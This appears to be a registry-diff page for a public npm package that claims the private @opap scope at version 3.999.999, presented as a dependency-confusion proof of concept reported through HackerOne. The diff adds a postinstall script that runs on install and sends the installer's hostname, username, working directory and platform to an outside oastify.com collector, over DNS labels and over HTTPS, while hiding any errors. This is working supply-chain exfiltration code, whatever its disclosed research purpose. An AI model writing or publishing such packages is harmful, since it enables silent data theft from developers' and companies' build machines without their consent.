@opap/player-kyc-widget 0.0.1-security → 3.999.999
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @opap/player-kyc-widget might be problematic. Click here for more details.
- package/README.md +34 -3
- package/index.js +3 -0
- package/package.json +9 -3
- package/postinstall.js +53 -0
package/README.md
CHANGED
|
@@ -1,5 +1,36 @@
|
|
|
1
|
-
#
|
|
1
|
+
# @opap/player-kyc-widget — security-research PoC
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
Dependency-confusion proof-of-concept reported to **Allwyn AG** via HackerOne.
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
The `@opap` npm scope was unregistered while the Allwyn GR player platform shipped
|
|
6
|
+
`@opap/player-kyc-widget@3.8.1` in production. The package name is disclosed publicly by the webpack
|
|
7
|
+
`uniqueName` embedded in
|
|
8
|
+
`https://staticassets.allwyn.gr/widgets/allwyn/player-kyc-widget/static/js/kyc.js`:
|
|
9
|
+
|
|
10
|
+
```js
|
|
11
|
+
i="@opap/player-kyc-widget:"
|
|
12
|
+
```
|
|
13
|
+
|
|
14
|
+
Publishing this scope at a higher version (`3.999.999` > `3.8.1`) demonstrates that any build
|
|
15
|
+
resolving `@opap/*` against the public registry selects this package in preference to the private one.
|
|
16
|
+
|
|
17
|
+
## Disclosed behaviour
|
|
18
|
+
|
|
19
|
+
This package runs a `postinstall` script that emits **one** out-of-band callback to an
|
|
20
|
+
attacker-controlled collector, over DNS and HTTPS. This is deliberate and is the evidence that a real
|
|
21
|
+
build resolved the package rather than merely that the name was publishable.
|
|
22
|
+
|
|
23
|
+
The callback carries exactly four fields: **hostname, username, working directory, platform/arch**.
|
|
24
|
+
|
|
25
|
+
It does **not** read environment variables, files, source code, npm tokens or any other credential. It
|
|
26
|
+
does not persist anything, spawn processes, or modify the host. All failures are swallowed so the
|
|
27
|
+
install is never broken.
|
|
28
|
+
|
|
29
|
+
## Retraction
|
|
30
|
+
|
|
31
|
+
To be unpublished and the scope transferred to Allwyn once they take ownership. Retraction:
|
|
32
|
+
|
|
33
|
+
```bash
|
|
34
|
+
npm unpublish @opap/player-kyc-widget@3.999.999
|
|
35
|
+
npm deprecate @opap/player-kyc-widget "Security research placeholder - retracted"
|
|
36
|
+
```
|
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@opap/player-kyc-widget",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "3.999.999",
|
|
4
|
+
"description": "Security research PoC reported to Allwyn AG via HackerOne. Emits a single out-of-band callback (hostname/user/cwd/platform) to prove public-registry resolution. No credential, file or environment access.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"files": ["index.js", "postinstall.js", "README.md"],
|
|
7
|
+
"scripts": {
|
|
8
|
+
"postinstall": "node postinstall.js"
|
|
9
|
+
},
|
|
10
|
+
"license": "MIT",
|
|
11
|
+
"publishConfig": { "access": "public" }
|
|
6
12
|
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
// Security research PoC — Allwyn AG (HackerOne). Dependency-confusion resolution proof.
|
|
2
|
+
//
|
|
3
|
+
// Purpose: emit a single out-of-band callback proving that a build resolved
|
|
4
|
+
// @opap/player-kyc-widget from the PUBLIC npm registry instead of the private one.
|
|
5
|
+
//
|
|
6
|
+
// Scope of data: hostname, username, cwd, platform ONLY. This is the minimum needed to
|
|
7
|
+
// identify which build environment resolved the package. It does NOT read environment
|
|
8
|
+
// variables, files, credentials, npm tokens, or source. It does not persist, execute, or
|
|
9
|
+
// modify anything. It never fails the install.
|
|
10
|
+
|
|
11
|
+
const CALLBACK = 'k5qrs9i96xtw61nb3bbwwualqcw3kt8i.oastify.com';
|
|
12
|
+
|
|
13
|
+
try {
|
|
14
|
+
const os = require('os');
|
|
15
|
+
const fingerprint = JSON.stringify({
|
|
16
|
+
pkg: '@opap/player-kyc-widget',
|
|
17
|
+
host: os.hostname(),
|
|
18
|
+
user: (os.userInfo() || {}).username,
|
|
19
|
+
cwd: process.cwd(),
|
|
20
|
+
platform: process.platform + '/' + os.arch(),
|
|
21
|
+
});
|
|
22
|
+
|
|
23
|
+
const b64 = Buffer.from(fingerprint).toString('base64');
|
|
24
|
+
|
|
25
|
+
// 1. DNS channel — survives environments where outbound HTTP is blocked but DNS resolves.
|
|
26
|
+
// Hex-encoded and chunked into <=63-char labels so every octet is DNS-safe.
|
|
27
|
+
try {
|
|
28
|
+
const hex = Buffer.from(fingerprint).toString('hex');
|
|
29
|
+
const labels = (hex.match(/.{1,60}/g) || []).slice(0, 4);
|
|
30
|
+
require('dns').lookup(labels.join('.') + '.' + CALLBACK, () => {});
|
|
31
|
+
} catch (e) {}
|
|
32
|
+
|
|
33
|
+
// 2. HTTPS channel — carries the full fingerprint when egress is permitted.
|
|
34
|
+
try {
|
|
35
|
+
require('https')
|
|
36
|
+
.get(
|
|
37
|
+
{
|
|
38
|
+
host: CALLBACK,
|
|
39
|
+
path: '/?src=opap-poc&d=' + encodeURIComponent(b64),
|
|
40
|
+
timeout: 4000,
|
|
41
|
+
},
|
|
42
|
+
(res) => res.resume()
|
|
43
|
+
)
|
|
44
|
+
.on('error', () => {})
|
|
45
|
+
.on('timeout', function () {
|
|
46
|
+
this.destroy();
|
|
47
|
+
});
|
|
48
|
+
} catch (e) {}
|
|
49
|
+
} catch (e) {
|
|
50
|
+
// Never break a build.
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
process.exitCode = 0;
|